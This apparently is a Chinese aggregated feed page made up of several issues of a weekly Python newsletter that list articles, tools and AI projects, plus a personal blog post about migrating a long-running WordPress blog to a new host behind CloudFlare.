单元测试的好处无须赘述,但是写单测却是开发者最讨厌的事情之一。文章罗列了 10 条写单元测试的最佳实践,介绍了手工写单元测试的步骤,最后介绍了使用 Codium.AI 自动化编写测试的方法。
Netflix 官方的一篇博客,介绍了在将手机 APP 安全地从 Falcor 迁移到 GraphQL 的过程中,所采用的三种测试策略:AB 测试、Replay 测试和 Sticky Canaries。AB 测试用于评估新功能对客户的影响,Replay 测试用于验证迁移的正确性,Sticky Canaries 用于验证性能和业务指标。
🎁Python潮流周刊🎁已免费发布了 9 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly

🐿️项目&资源

一个在 Jupyter Notebook 环境中运行的可视化探索式分析工具,仅一条命令即可生成一个可交互的图形界面,以类似 Tableau/PowerBI 的方式,通过拖拽字段进行数据分析。(star 6.5K)
用 Julia 为 Python 写高性能的 C 扩展,提速约 200x。(@xgdgsc 投稿)
JupyterLab 官方提供的生成式 AI 扩展,主要提供了:%%ai 指令、原生的聊天 UI 页面、支持大量平台的大语言模型(AI21、Anthropic、Cohere、Hugging Face、OpenAI、SageMaker 等)。
一个发布订阅者框架,支持同步异步调度、定时任务、主题管理、发布订阅者回调等功能。(@Zeeland 投稿)
一个基于磁盘缓存的 ORM 框架,可对基本数据类型及自定义的数据通过 ORM 进行增删改查,支持多种序列化操作和数据压缩方式。(@Zeeland 投稿)
如何测试机器学习模型、要涵盖哪些问题、如何实施测试?这个框架可扫描数十种漏洞(性能偏差、数据泄漏、不鲁棒性、虚假关联、过度自信、信心不足、不道德问题等),并基于结果生成特定领域的测试套件。(star 1K)
本周最火项目,可在图像上通过拖动点的方式,生成想要的新图像,非常惊艳!(star 28K)
除了类似 shell 的语法和方便的快捷方式外,这个库还提供了本地和远程命令执行(通过 SSH)、本地和远程文件系统路径、简单的目录和环境操作、以及一个可编程的 CLI 工具包。(star 2.6K)
支持用文本提示、单个图像和少量镜头图像创建 3D 内容。支持多种模型,如 ProlificDreamer、DreamFusion、Magic3D、Score Jacobian Chaining,等等。(star 1.8K)
支持删除图像的背景,支持多种使用方式(cli、库、docker)和多种强大的功能。(star 10.5K)

🐼关于周刊

Python 潮流周刊,由豌豆花下猫主理,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~
本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

July 01, 2023 12:00 AM

June 29, 2023

greatdk

10年,一个独立博客的重生

这个博客是我大学时候开始做的,最早是 2013 年,我注册了 wdk.pw 这个域名,然后用当时流行的办法,找了一个「免费托管主机」,然后部署了 wordpress,写下了我的第一篇博客文章

 

 

谁想到这一写就是 10 年,现在已经是 2023 年了。

在最初的几个月后,我发现那个免费托管的空间变得十分不靠谱,会自动在我的博客中插入广告,并且时不时还会无法访问,即便那时候我只是一名大二学生,也开始意识到,任何事情都有代价,当我没有为一个服务直接付费的时候,就会从别的地方付出代价,所以我开始准备迁移。

因为那时候我不会也不想备案,所以只能考虑国外的服务器,在 10年前,并没有像现在这么多的部署方案或服务,基本上只有两个选择,要么买云服务器,要么用一种叫做云空间或者云主机的东西,后者是一个包含了代码运行环境,ftp,mysql等基本组件,以及一个网页管理后台的打包服务。一台物理服务器拆分成多个云服务器,一个云服务器拆分成多个云空间,大体上应该是这么个逻辑。

在机缘巧合下,我选择了后来使用了长达 9 年的一家云空间,叫做云左主机,我在上面购买了一个 98 元一年的云主机,物理位置位于韩国,每月有50G流量,机器的配置是1核2G,但应该由若干个云空间共享,即便如此,对于一个简单的 wordpress 来说,这个配置跑起来也绰绰有余。

我用了一个叫做 WP Clone 的插件,将我的博客完整的迁移到了这个新家,然后每年续费,直到今年。

在写了大概一年博客后,我发现pw后缀的域名,搜索引擎基本不收录,而且有大量pw后缀的垃圾站,所以我注册了新的域名,也就是现在的这个 greatdk.com,并一直沿用。

我的博客一直访问量不大,但偶尔(发生过几次)会有比较多人来看,这时候网站就会挂掉,因为背后的服务器配置太低了,我想过一些解决办法,例如使用一个叫做 WP Super Cache 的插件,来实现一些缓存,有一些效果,但依然还是会挂。

对于浏览博客而言,其实大多数请求都对应的是静态资源,但在比较高并发的情况下,整个服务器都会被这些静态请求给堵住,放到现在来看其实这有很多方案,但当时我确实没啥办法。

直到2018年,或者2019年,我记不清了,我了解到 CloudFlare,然后开始使用它,我的感觉是

太尼玛强了,CloudFlare 牛逼

CF 不仅帮我解决了缓存的问题,而且可以自动配置和更新 SSL 证书,在最外层套了 CF 之后,我的博客就再也没有因为请求或访问增加而出过问题,而且这些服务都是免费的,或者说免费版本已经完全能满足我的需求了。

然后直到前几天,我发现我的博客又挂了,从状态页来看,肯定不是 CF 的问题,而是源站挂了,我排查了一下,发现确实是那个云主机的域名问题,然后和管理员联系了,他告诉我,因为一些无法透露的原因,没法修复,只能帮我导出数据,然后给我退款。

我又和他聊了两句,他说整个业务都准备关了,虽然没说原因,但大概也能猜到。

无奈之下,我只能重新为博客搬家,因为备案的缘故,我依然无法使用国内的服务器,我最终用了腾讯云的轻量级服务器,新加坡节点。

但实际部署的时候我才发现有些历史遗留的坑,例如我的博客版本已经很老了,是PHP5.6,较新的Linux发行版,都不再支持这个PHP版本了,用网上的一些安装方式,也根本装不上PHP5.6,后来还是通过宝塔面板(虽然这个面板设计的极其恶心),才装上了可用的PHP版本,然后将博客恢复。

然后我又立马套上了CF,经过CF代理,速度很快,从这一点看,因为有了CF,源站在哪也就没那么重要了。

在做完这一切后,我移除了博客底部的「托管在云左主机」的小字,对这个博客而言,它开始了新的生活。

by DK at June 29, 2023 08:44 AM

June 24, 2023

pythoncat

Python潮流周刊#8:Python 3.13 计划将解释器提速 50%!

你好,我是猫哥。这里每周分享优质的 Python 及通用技术内容,部分为英文,已在小标题注明。(标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)

🦄文章&教程

Faster CPython 项目(即香农计划)有了关于 3.13 版本的最新计划,这次的性能目标是减少解释器 50% 的耗时。涵盖三项主要工作:第 2 层的优化器、启用子解释器(PEP-554)、内存管理。
Numpy 是作科学计算和数据分析的最重要的库之一,并行性是提升其性能的重要手段。文章介绍了 5 种可以实现 Numpy 并行性的场景和方法:加载/保存 Numpy 数组数据、高效地计算数学函数、高效地初始化数组、并行执行数组的元素级数学运算、在进程间高效共享 Numpy 数组数据。
文章针对一个有性能问题的 Python 库,使用 Rust 重写并作了三轮优化后,提升了性能 100 倍。文中使用了 py-spy 库绘制火焰图,分析出了代码的瓶颈点,并以此作为优化的依据,可以看到前后火焰图的差别很大。
文章指出“一步到位的移植”方式存在一些问题,从而提出“迭代式移植”的方法,并给出了一个代码示例。
如何设计出一个 Pythonic 的 API?在设计上有什么方法和基本原则呢?文章从代码结构、变量命名、错误处理、版本控制、类型注解等方面,给出了非常详细的介绍。文章较长,最后总结出 18 条 takeaways。
Python 已支持类型提示,那能否编译 Python 代码为本地代码以提升性能呢?虽然类型提示可以提供一些性能优化,但由于 Python 的动态特性和灵活性,使得静态分析和编译非常困难。因此目前还没有一种方法可以将 Python 代码编译成本地代码以提高性能。
夹具(fixture)是在测试前设置和准备必要数据的一种机制,可以将测试数据和测试代码分离。文章介绍了 pytest 中夹具的基本用法,以及与 Django 项目的结合使用。
这是一个系列文章,支持用可视化的调试方式探析 Python字典的实现原理。这篇文章介绍了如何通过哈希表实现字典,以及如何解决哈希冲突。
Python 最主流的两个 Web 框架是 Flask 和 Django,文章深入比较了它们的主要功能、优势与缺点、流行的插件和使用场景等,让读者更方便做出自己的选择。
文章的要点是:介绍一个基本的 Python 打包流程,尽可能减少依赖和要求,并解决大多数用户的打包问题。文中列出了一些常见的打包问题,并提供了一些解决方案,同时指出了一些常见的打包工具(如 homebrew、pyenv、anaconda、poetry)的缺点。
文章介绍了在 PyScript/Pyodide 中使用 async/await/asyncio 来编写并发代码,还介绍了 Pyodide.Webloop 的实现,该实现允许 async/await 与浏览器事件循环一起使用。
上期周刊第一则分享中的三篇文章偏向于支持隐式的 async,有读者建议再呈现一些支持显式 async 的观点。这篇文章的要点是:线程会使本地推理变得困难,而本地推理是软件开发中最重要的事情之一。因此,应该避免使用线程,而使用异步编程模型,如回调、promise、协程等。同时,文章还提到了使用隐式协程的风险,因为它们可能会导致与线程相同的问题。(@Plutonium 投稿)

🐿️项目&资源

目前开源且美观实用的 PyQt/PySide 组件库很少,所以作者照着 WinUI3 的设计稿写了这个 Fluent Design 风格的组件库,支持亮暗主题无缝切换和自定义主题色,支持 PyQt5/PyQt6/PySide2/PySide6 ,搭配 QtDesigner 可以快速设计出美观的界面。(来自@shokokawaii)
PyVibe是一个用于创建网页的 Python 库,让 Python 开发者快速构建前端页面,简化 UI 开发。PyVibe 返回一个 HTML 字符串,可用于静态页面、Flask 函数、Pyodide 动态客户端呈现。
Pynecone 发布于 2022 年 12 月,已获得 9K 星星,可谓十分火爆。它是一个用于构建和部署 Web 程序的全栈框架,提供了 50+ 内置组件,支持创建复杂的布局和使用 CSS 的全部功能来设置样式。
这个项目包含了一些短小却很有挑战性的项目代码,既有“Advent of Code”历年的年度编程挑战活动的题目,也有“The Riddler”的系列数学谜题,还有文字谜题、概率问题等,甚至有使用 Python 解任何的数独题、实现一个 lisp 解释器,等等。
Recognize Anything Model 是一种图像标记模型,可以高精度地识别任何常见类别;Tag2Text 是一种以标签为指导的视觉语言模型,可以支持字幕、检索和标签。这个项目是这两个模型的代码实现。
支持使用自然语言同时与多个 PDF 文件进行对话。项目使用了 streamlit,可在浏览器中显示用户界面。
DeepKE 是用于知识图谱构建的知识提取工具包,支持 cnSchema、低资源、文档级和多模态场景的实体、关系和属性提取。三个主要功能:命名实体识别、关系提取、属性提取。项目提供了详细的文档、教程和在线演示。
一个“awesome”系列仓库,收录了关于 DevOps 的方方面面的内容,包含各种平台、自动化、CI/CD、代码管理、网络服务器、数据库、监控工具、网关、混沌工程,等等。

🥂讨论&问题

一则热门讨论,话题关于 Python 3.13 版本的开发计划。不出意外,大部分的留言都围绕着 GIL,赞成与反对声皆有。
这也是一则 HN 上的帖子,既引起了关于编程语言本身的讨论,也涉及不同编程语言生态中的一些优秀的项目。有趣的是,有三则关于 Python 的留言都推荐了我们在上文中分享的pytudes 项目!

🐼关于周刊

Python 潮流周刊,由豌豆花下猫主理,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~
本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

June 24, 2023 12:00 AM

June 17, 2023

pythoncat

Python潮流周刊#7:我讨厌用 asyncio

你好,我是猫哥。这里记录每周值得分享的 Python 及通用技术内容,部分为英文,已在小标题注明。(标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)

🦄文章&教程

1、AsyncIO (英)
文章的作者讨厌 asyncio 库,认为使用 asyncawait 的设计十分糟糕,它与大多数库不兼容,也不满足“Python之禅”的一些标准。作者的推荐方案是 gevent,提及了它的几点好处。另外,作者还推荐了两篇相关的文章:Flask 作者 Armin Ronacher 的《I don’t understand Python’s Asyncio》,SQLAlchemy 作者 Mike Bayer 的《Asynchronous Python and Databases
gevent 是一个基于协程的协作式多任务 Python 框架,使用猴子补丁来协调所有代码。这篇文章是一个系列的第一篇,介绍了 gevent 的基本实现原理,第二篇是《Gevent Correctness》,第三篇是《Gevent Performance
上期周刊推荐过的 ReactPy 最近很火,它支持用 Python 写 React 风格的前端应用。这里是一篇简单的入门教程。另外,建议感兴趣的同学去看官方文档
如何简单而优雅地解决 Python 的循环依赖问题呢?作者考察了主流 API 框架(Django、Flask、FastAPI)的上下文管理方案,然后介绍了自己框架采用的方案:借鉴了 Ray 社区中对象所有权的概念,在一个协程上实现一个简易的所有权字典。
跟踪 Python 函数调用时访问的代码和数据是一种很有用的操作,比如绘制依赖图、调试和分析性能、缓存失效。这篇文章考察了一种可能的实现方式,包含了一个少于 100 行代码的最小可行实现。作者是 MIT 的计算机科学博士。
这是一篇入门教程,通过简短的示例,介绍了 Python Typing 模块的基础用法和进阶用法。
wxPython 是跨平台的图形用户界面框架,基于 wxWidgets 库开发,在 1998 年发布。它最新发展到了 4.x 版本,这篇文章基于最新的特性作了详细的入门介绍。
一篇很认真的文章,介绍了装饰器的基本概念和进阶用法。在示例部分介绍了 Django 的几个很常用的装饰器(@login_required@permission_required@csrf_exempt@cache_page)。
多进程编程时最麻烦的事情之一就是共享数据,这篇文章介绍了 7 种共享 Numpy 数组的方式:传递参数、使用全局变量、使用队列 Queue、使用管道 Pipe、使用基于 ctypes 的 RawArray、使用 Python 3.8 的 SharedMemory、使用多进程的管理器。这是一篇系统性的长文,里面还引用了作者的一些相关文章,十分推荐阅读。
时间序列数据(Time-Series Data)是指在不同时间点上收集的数据,这篇文章介绍了在 Python 中分析时间序列数据的工具,包括常用的 NumPy、pandas 和 Matplotlib,以及 Tsfresh、Sktime、AutoTS、Prophet、Timescale 等。
在数据分析和机器学习领域,需要尽量确保数据集的完整性和准确性,因此处理缺失值是必不可少的环节。文章先介绍了数据缺失的原因和模式(完全随机丢失 、随机丢失和不随机丢失),然后介绍了处理缺失值的常用方法:删除、填充、插补。
这篇文章用 10 个不同的基准作性能比较,涵盖了多种场景及边缘情况,包括斐波那契数列、斐波那契数列(迭代)、矩阵乘法、质数生成、字符串拼接、计算均值、计算均值(未优化)、算术运算、文件操作、线性搜索、冒泡排序。猜猜最后的结论是什么呢?
服务器推送事件 (Server-Sent Events) 是一种基于 HTTP 的单向通信协议,允许服务器向客户端实时推送数据。这篇文章解释了如何使用 FastAPI 实现流式处理 JSON 事件。文章出自“FastAPI Pro 系列”,另外两篇文章关于如何使用动态配置如何加密保护 API
中间件(middleware)是 FastAPI 中的一种机制,允许在 HTTP 请求和响应到达路由处理程序之前拦截和修改它们。文章包含 20 个与中间件、身份验证和授权相关的面试题。
上期周刊引发了“国内 Python 贡献者数量”的话题,@yihong0618 在推特上留言分享了 @penguin-wwy 给 CPython 提交的这个贡献。该作者发现 LOAD_CONST + RETURN_VALUE 高频出现在 pystats 文档中,因此提交了一个新的 RETURN_CONST 指令,此项贡献在 Python 3.12 基准测试中获得约 10% 的性能提升。
🎁Python潮流周刊🎁已免费发布了 7 期,扫描下方二维码,即可查看全部内容:

🐿️项目&资源

在使用 Python 命令或者命令行工具时,一个痛点是没有补全。使用 argcomplete 后,按 tab 键就可以自动补全。它需要与 argparse 模块一起使用,目前支持 bash 和 zsh 两种 shell。
这是一个系统性学习了中国的法律知识体系的大语言模型,能够正确理解民法、刑法、行政法、诉讼法等常见领域的法律概念,可进行基础的法律咨询,涵盖婚姻、借贷、海商、刑事等。
这是一个完全开源、允许商用的百亿参数中英文基座模型,采用 Transformer 自回归架构,在超万亿(trillion)高质量语料上进行预训练。在中文的 Zero-CLUE 评测基准上,它大幅超越其他模型,位列中文大模型第一。
也是国内团队开源的大语言模型,根据 OpenAI InstructGPT 论文在公开 NLP 数据集上的自动评测,TigerBot-7B 达到 OpenAI 同样大小模型的综合表现的 96%。
New Bing 集成了 ChatGPT,但是在国内使用的门槛有点高!这个项目的客户端基于 Angular,服务端基于 FastAPI 和 EdgeGPT。在本地部署好后,运行服务端程序即可开始使用客户端。(另外推荐一个项目 go-proxy-bingai,是用 Vue3 和 Go 搭建的 New Bing 演示站点,国内可用,无需登录即可畅聊)
这是 GitHub Copilot 的开源/本地替代品,无需 DBMS 或云服务,拥有 Web UI,支持消费级的 GPU。
一个功能极简、代码极简、自带四种主题、支持生成 RSS 的静态博客生成器。项目基于 Python 3.10,主要使用的库有 arrow、click、jinja2、mistune 等。
8、gpt-engineer (英)
这是一个基于 ChatGPT4 的 AI 工程师,你只用告诉它需求,然后它会问几个问题,接着生成整个项目代码。提供出来的演示视频非常惊艳!
这是 FaceBook 开源的一个 PyTorch 库,有最先进的 EnCodec 音频压缩器/分词器,内含文本到音乐模型 MusicGen,使用了 10K 高质量音乐曲目的内部数据集,以及 ShutterStock 和Pond5 的音乐数据。
Python 中有很多开发 GUI 的库,除了前文提到的 wxPython,还有 Tkinter、PyQt、PySide、Kivy 等等。这个网站上提供了很多 GUI 相关的学习资料。
这是一本用 GitBook 制作的在线电子书,翻译自微软独立研究员 Anthony Shaw 的《CPython Internals》。

🐢播客&视频

这期播客聊了关于重构的相关话题。
有三个看起来完全一样的列表:[0]*3、[0,0,0]、[0 for _ in range(3)],但是使用 sys.getsizeof() 计算的内存却完全不同。这是为什么呢?这期 B 站视频通过分析字节码和 CPython 解释器源码,非常硬核地分析出了根本原因,值得一看!
这里呼应一下本期标题及第一则内容。asyncio 依然是最主流的异步编程库,近几年也在逐渐发展成熟,很有必要深入学习。这是一则 B 站视频,适合用于入门与加深理解。

🐱福利活动

不定期的福利活动,本期赠书 5 本《Excel 应用大全》,开奖时间 6 月 22 日(端午节)。请给 Python猫公众号发送数字“8007”,获取抽奖资格。
这本书由 Excel Home 团队策划,由多位微软 MVP 通力打造,全面系统地介绍了 Excel 365 & Excel 2021 的技术特点和应用方法,配合大量典型实用的案例,既可以作为初学者的入门指南,也可作为中高级用户的参考手册。

🐼关于周刊

Python 潮流周刊,由豌豆花下猫主理,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~
本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

June 17, 2023 12:00 AM

June 10, 2023

pythoncat

Python潮流周刊#6:Python 3.12 有我贡献的代码!

你好,我是猫哥。这里记录每周值得分享的 Python 及通用技术内容,部分为英文,已在小标题注明。(标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)

🦄文章&教程

文章出自群友@孙孟越,介绍了 Python 3.12 中他深度参与的几个大更新,比如 PEP-701 定型 f-字符串的句法、PEP-688 给 Python Buffer Protocol 暴露 Python 接口、PEP-695 类型参数语法,等等。另外,他在前一篇《CPython 贡献日记》中介绍了给开源社区做贡献的相关知识,比如提 PR 的小技巧、提/解决 Issue 的小技巧,等等。(你也想给 Python 贡献代码么?请参考:Python Developer’s Guide
文章介绍了目前流行的 67 个工具,包括大语言模型、搜索引擎、办公、内容生成、精神需求、提示词学习等方向,它还梳理了下面这张思维导图:
文章从一本 Python 入门书籍中找出了 30 个有代表性的错误,并给出了“离谱程度”评分。作者批判性阅读了那本书,同理,读者们也应该批判性阅读这篇文章,因为它说得也并不都对。(@TheFry 投稿)
通常我们使用纯 SQL 或者 ORM 框架来操作数据库,作者比较了这两种方案,指出了它们的诸多缺陷,然后提出了一种新的技术设想。作者从 8 个方面介绍了自己的思路,包括迁移优先、声明式迁移、跨语言移植、更好的 SQL,等等。作者还演示了一个工作流以及 Python 代码示例。
作者先介绍了 Python 与操作系统交互的一些常用库,比如 pathlib、tempfile、shutil、os、subprocess 等等,最后再介绍了他最为推荐的 sh 库的相关用法。这个库的方法对熟悉 shell 命令的同学非常友好。
文章使用 Locust 作负载测试,简单演示了将同步的 Flask 程序修改为异步后,性能数据上的变化。
核心开发者 Brett Cannon 的博客介绍了他的思考,提议增加一个struct 关键字,用于更方便地创建数据类,类似于 C、Rust 与 Go 的结构语法。文中介绍了他的目标以及这个关键字的实现原理,目前在收集意见阶段,未来不排除会提成一个 PEP。
出自《从 1 到 ∞ 精通 Python》系列,已包含 17 篇文章。作者参考了《Python 源码剖析》的分析方法及结论,深度探析了 Python 解释器源码,讲解 Python 重要特性的实现原理。
文章梳理介绍了 39 个用于开发及测试的 Python 框架,内容很长,介绍的范围很全面。
10、内容删除
这是一篇入门教程。Kivy 是一个用于开发图形用户界面的库,支持桌面的跨平台开发,也支持为移动设备创建多点触控的程序。
当需要加快 NumPy 速度或减少其运行内存时,通常使用即时编译器 Numba。文章针对现代 CPU 的特点来优化 代码,将一个去除图像中的噪点程序的耗时从 48 ms 降到了 2 ms。
ReversingLabs 研究团队发现了一种针对 PyPI 的新型攻击,它使用编译后的 Python 代码来规避检测——可能是第一个利用 PYC 文件直接执行的攻击。
这是一篇译文,原文作者是 OpenAI 的创始成员 Andrej Karpathy。文章使用 PyTorch 实现了一个极简 GPT,让读者对其内部工作机制有个直观理解。
这也是一篇译文,原文作者是阿姆斯特丹自由大学的助理教授。原文最早写于 2019 年,那时大语言模型还没有如今火爆。在文章末尾,作者希望 transformer 扩展到其它领域,因为它有很强的通用性。

🐿️项目&资源

NeoDB 是一个用 Django 写的开源项目,也是一个联邦宇宙书影音游戏标注平台,可简单理解成 Web3 的开源的无审查的豆瓣,但支持标记的内容比豆瓣多得多。(这个库是在@laike9m 的博客看到的。以及非常感谢他在 Twitter 上推荐了本周刊!!)
JupyterLab 4.0 主要的新功能有:性能更快、升级的文本编辑器、新的扩展管理器、UI 改进,等等。
3、pystack (英)
pstack 是 Linux 系统上常用的命令行工具,用于显示一个进程的函数调用栈,可诊断进程卡死、死锁等问题,以及分析进程的性能瓶颈。pystack 是用 Python 写成的类 pstack 库。值得一提的是,它竟然还可以显示线程是否持有、是否在等待或正在释放 GIL。
这是一个基于 ChatGPT 的 Python 在线学习平台,内置了 AI 助手以及在线代码运行模块,允许你随时修改示例代码,一键运行,一键查错。(@Stanaaa 投稿)
M3E 是一个中文开源的 Embedding 模型,使用千万级 (2200w+) 的中文句对数据集进行训练,在文本分类和文本检索的任务上都超越了 openai-ada-002 模型。(@王宇昕投稿)
ReactPy 是一个库,用于在 Python 中构建用户界面,且不使用 Javascript。它的接口类似于 ReactJS 中的组件,可供没有 Web 开发经验的人使用。
基于 Python + Vue3.js 技术栈实现的域名和 SSL 证书监测平台,核心功能:到期自动邮件提醒。
一个可视化爬虫软件,只需在网页上选择想爬的内容,并根据提示框操作即可完成爬虫设计和执行。也支持以命令行方式执行,可以方便地嵌入到其他系统中。这个项目源于原作者的浙江大学硕士论文,已获得国家发明专利,相关资料可在仓库查看。
一个开源的文本生成视频模型,整体模型参数约 17 亿,使用英文输入。放出来的演示视频非常惊艳。
SAM 即“分割任意物体模型”(Segment Anything Model),是计算机视觉领域中非常有用和先进的模型,用于需要精确识别和分割任意物体的应用场景。这个项目使用它来分割地理空间数据。
该项目可以在 Python 的回溯信息中添加变量。通过记录日志或打印彩色的变量上下文信息,方便调试异常的原因,并显示堆栈跟踪中每个帧的变量值。

🐢播客&视频

视频来自 B 站@码农高天,他从 3 月份起,有 20 几个 pr 已合入 Python 3.12。这期视频详细介绍了他做出的几个贡献,主要有完善 pdb 文档、修复了几个 bug、引入 convenience variable 特性,等等。(作者在第一次 pr 被合入后,录了一期《我给Python修了个bug!从今天起,也算是Python开发者了?》)
今年 PyCon US 活动的视频已经可以看了,共用 142 个视频!PyCon 是全球性的最大的 Python 开发者会议之一,由 PSF 主办,通常在 PyCon 活动期间会举行“Python 语言峰会”,今年的峰会议题详见《Python潮流周刊#4:Python 2023 语言峰会》。
2023 年 PyCascades 活动上的视频在上个月发布了,有 20 几个视频。PyCascades 是一个专注于 Python 编程语言的会议,通常在北美地区举行,每年一次。它类似于 PyCon,但是由独立的组织者和志愿者自发组织,规模更小。

🐱赞助&支持

内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~
诚邀赞助者,帮助本周刊免费且可持续发布,欢迎通过私信联系。

🐼关于周刊

Python 潮流周刊,由豌豆花下猫主理,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

June 10, 2023 12:00 AM

June 09, 2023

usb

b'Debian 12 / Ubuntu 24.04 \xe5\xbc\x80\xe5\x90\xaf SSH \xe7\x9a\x84 RSA Key \xe7\x99\xbb\xe5\xbd\x95'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe5\xa6\x82\xe4\xbd\x95\xe5\x9c\xa8 Debian 12 \xe5\x92\x8c Ubuntu 24.04 \xe5\xbc\x80\xe5\x90\xaf SSH \xe7\x9a\x84 RSA Key \xe7\x99\xbb\xe5\xbd\x95\xe3\x80\x82'

by Showfom at June 09, 2023 05:00 PM

b'Debian 11 Bullseye \xe5\x8d\x87\xe7\xba\xa7 Debian 12 Bookworm'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe5\xa6\x82\xe4\xbd\x95\xe5\x8d\x87\xe7\xba\xa7 Debian 11 Bullseye \xe5\x88\xb0 Debian 12 Bookworm\xe3\x80\x82'

by Showfom at June 09, 2023 04:00 PM

June 03, 2023

pythoncat

Python潮流周刊#5:并发一百万个任务要用多少内存?

你好,我是猫哥。这里记录每周值得分享的 Python 及通用技术内容,部分为英文,已在小标题注明。(标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)

文章&教程

文中测试了主流的编程语言(Rust、Go、Java、C#、Python、Node.js 和 Elixir),依次运行 1 个、1 万、10 万和 100 万个任务,统计了这些语言所消耗的内存。随着任务量增加,它们的排名出现了较大变化,让我感觉挺意外的。
使用 asyncio 有什么最佳实践呢?这篇文章介绍了 asyncio.gather、asyncio.as_completed 和 asyncio.wait API,还介绍了 Python 3.11 中引入的新 asyncio.TaskGroup 特性。(附一篇不完整的译文
3、原推荐文章为拼凑且非原创,已删
也是一篇长文,介绍了 Python 多线程编程的方方面面,真的是一份终极指南。
依然是长文,介绍了常见的并发模型及不同编程语言是如何实现的。它的姊妹篇是《编程语言是如何实现并发的之操作系统篇》,都是图文并茂,资料翔实。
作者分享了自己工作多年对代码设计、架构设计和工作思维的经验,比如 DRY 原则、SOLID 原则、高可用设计、如何想尽一切办法“偷懒”,等等。(文中提到了面向对象编程的原则,这里顺便推荐另一位鹅厂程序员的《Python工匠》系列的第 12-14 章)
f-string 是 Python 最好用的特性之一,但它也有诸多限制。即将发布的 3.12 会对 f-string 作语法规范化,详情可查看 PEP-701 。这里分享的文章带大家直观地感受了这个改动在代码的词法解析(lexing)层面的不同。
大家都用上 PyCharm 新的 UI 了么?这份官方教程介绍了新 UI 的使用方法及亮点。
Python 3.12 正式版本还要几个月才发布,这边 3.13 已经迫不及待地移除了 20 个标准库。值得一提的是,2to3 项目及 lib2to3 模块也将会被移除。
Locust 是 Python 最主流的分布式负载测试库,而文章介绍的 Grasshopper 是新开源的基于 Locust 与 Pytest 的更全面的性能测试库。
Python 装饰器是增强代码行为和灵活性的强大工具,文章内容从基础到高阶,是不错的学习材料。
12、三个练手项目的实战教程:
  • 用 Python 开发 Telegram 机器人 (英文):开发 tg 机器人,教程使用 Tornado 作后端,项目部署在 Render 平台上
  • 花一周末用 Python 实现 DNS (英文):教程指导实现一个 DNS 解析器,总代码仅约 200 行,但作者给出了很多学习材料和代码讲解,你能学到的绝对够多。另外,教程最后还有 7 个练习题,可以进一步开发 DNS 解析器的功能。(Julia Evans 是一个宝藏作者,博客网站pandas-cookbook ,等等,强烈推荐!!!)
  • 用 Python 构建你自己的 Git (英文):这个项目我要给它满分!教程网站设计得独特而酷炫,从最小可行项目起步,逐渐添加代码,手把手教你实现 Git 的各种功能。每章都使用 Git 的差异比对方式,明确告诉你增删了哪些代码,良心满满,全网估计找不着第二家!

项目&资源

frogmouth 可以打开本地或 URL 中的 md 文件,具有类似浏览器的导航条、历史记录、书签和目录。
一个 Python 桌面程序,为 Meta 公司的 AI 模型 SAM 提供了图形界面,可以提取照片里面的物体。
你有对象了么?这个入门项目使用 ChatGPT 构建一个 AI 伴侣, 拥有个性化的人格、声音以及自拍照!
一份技术分享的 PPT 材料,介绍了 Python 3.7-3.11 在性能、类型体验及开发者体验方面的优化。
SoundStorm 是 Google Deepmind 新提出的一个高效的、非自回归的音频并行生成模型。soundstorm-pytorch 使用 Pytorch 实现了这个模型。
asynq 是 Quora 开发的异步编程库,专注于对外部服务的批处理请求。对于 memcache、redis 等存储服务,它发起一次请求批量获取多个 key,比发出多次请求每次获取一个 key 要快得多。
一个基于 pydantic、fastapi 和 pytest 的异步框架,简化了 MQ 的代码集成,并提供了一个有用的开发工具包。其特点是基于消息架构(Messaging Architecture)设计,所以它还是个声明式的 MQ 框架。
它利用 OpenAI 的 Whisper 模型将用户输入的语音转换为文本,再调用 GPT4All 的语言模型得到回答文本,最后利用文本转语音(TTS)的程序将回答文本朗读出来。
这是一个用于自我监督学习的计算机视觉框架,以类似 PyTorch 的风格编写,支持使用 PyTorch Lightning 进行分布式训练。

播客&视频

